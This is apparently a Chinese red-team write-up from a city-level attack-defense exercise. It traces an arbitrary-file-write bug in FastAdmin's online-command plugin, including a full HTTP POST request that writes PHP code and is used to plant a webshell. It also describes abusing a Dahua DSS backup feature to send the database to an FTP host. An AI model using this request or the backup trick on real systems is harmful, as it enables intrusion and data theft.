地级市HVV|小心障眼法

本次参加的地级市HVV是一波三折,防守方还搞起三十六计了,密码提示和真正密码相差甚远,就连Fastadmin都耍起了“七擒孟获”和障眼法两种计谋。

Fastadmin的障眼法

起初信息收集收集到Fastadmin,就上来试试弱密码,结果一直提示令牌数据无效,试了很多次又提示您已登录,给我整呆了。

图片[1]-地级市HVV|小心障眼法-浪飒安全社区

返回再登录,尽然进去了,好一个令牌无效障眼法,差点都跳过这个资产了。

图片[2]-地级市HVV|小心障眼法-浪飒安全社区

看了看,和我以前看到的Fastadmin有点不一样,F12查看源代码,看到插件管理应该是被隐藏起来了,尝试访问插件管理目录,访问成功,果然是被隐藏起来了。

图片[3]-地级市HVV|小心障眼法-浪飒安全社区
图片[4]-地级市HVV|小心障眼法-浪飒安全社区

那接下来就是尝试在线命令这里了,可是直接点击在线命令前台页面,居然提示我前台页面不存在,这是我才发现前台的地址这里是addon/command,把addon删掉,果然成功访问在线命令页面。

图片[5]-地级市HVV|小心障眼法-浪飒安全社区

这里我们下载Fastadmin源代码,分析一下这个在线命令插件,以下是安装完插件后的目录

图片[6]-地级市HVV|小心障眼法-浪飒安全社区

大致我们仅仅需要关注application/admin/controller/Command.php就ok

我们执行的步骤为两步,首先是生成命令行,其次是立即执行,在相关位置添加断点,并在 Burpsuite 请求包Cookie字段添加XDEBUG_SESSION=PHPSTROM

\app\admin\controller\Command::command
图片[7]-地级市HVV|小心障眼法-浪飒安全社区

第一步生成命令行中,并没有进行命令执行的相关操作,只是将我们设定的参数,保存起来php think api --output=api.php --title=<?php phpinfo();?>

点击立即执行,发现相较于前一步生成命令行,只在$action == 'execute'有所不同

图片[8]-地级市HVV|小心障眼法-浪飒安全社区

判定路由为execute之后会执行doexecute方法

\app\admin\controller\Command::doexecute
图片[9]-地级市HVV|小心障眼法-浪飒安全社区

调试跟进函数执行的 run 方法

\think\console\Command::run
图片[10]-地级市HVV|小心障眼法-浪飒安全社区
\app\admin\command\Api::execute
图片[11]-地级市HVV|小心障眼法-浪飒安全社区

获取output对应的值,拼接为文件名

图片[12]-地级市HVV|小心障眼法-浪飒安全社区

利用file_put_contents把内容写入到文件中,这个插件漏洞本质上是一个任意文件写入漏洞

只用发送如此数据包就可以成功POST /nkmphlDGrv.php/command/command/action/execute HTTP/1.1

POST /nkmphlDGrv.php/command/command/action/execute HTTP/1.1

Host: test.test
Content-Length: 106
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=helipv5455s7i64l4vq72j9nen; think_var=zh-cn;XDEBUG_SESSION=PHPSTROM
Connection: close
​
commandtype=api&force=0&url=&output=api.php&template=&title=%3C%3Fphp+phpinfo()%3B%3F%3E&author=&language=

这里我们直接再文档标题处填写上传的马,接口生成文件填写生成的木马文件名称,点击生成命令行再点击立即执行,成功连接冰蝎,接下来就是常规的内网操作了。

图片[13]-地级市HVV|小心障眼法-浪飒安全社区
图片[14]-地级市HVV|小心障眼法-浪飒安全社区

密码提示的障眼法

这个障眼法更折磨了我半天,要不是扫C段的时候发现了同样的资产,根据那个资产的攻击路径才拿下了这个。

这是一个大华DSS,这我是第一次见,所以并不熟悉,网上查了一下,这个大华DSS除了管理端还有一个配置段,路径是/config/,直接拼接config访问管理端,发现只有输对用户名才会出现密码提示,这里密码提示是1,我就尝试了所有和1有关的密码,什么admin1,111111之类的,都不行,就先放弃了。结果在另一个系统直接发现密码提示Admin(),就回来尝试用这个密码登录,结果登陆成功了,好一个密码提示障眼法,成功把我绕进去了。

图片[15]-地级市HVV|小心障眼法-浪飒安全社区

看到里面有一个添加数据库信息异地备份的,就填写了比赛分发的跳板机,当然这需要在跳板机上添加FTP

图片[16]-地级市HVV|小心障眼法-浪飒安全社区

等待自动备份就好了,第二天早上过去一看,备份的数据库文件来了

图片[17]-地级市HVV|小心障眼法-浪飒安全社区

打开一看,里面应该是系统的源代码,可惜是个内网系统,内网还没进去。

总结一下

总结一下,攻防演练中我们会遇到很多像Fastadmin这种常见的CMS,有些单位会对其进行修改,但框架不变,不能被眼前的页面欺骗,记得仔细分析源代码找到突破点。

© 版权声明
THE END
喜欢就支持一下吧
点赞10赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码

    暂无评论内容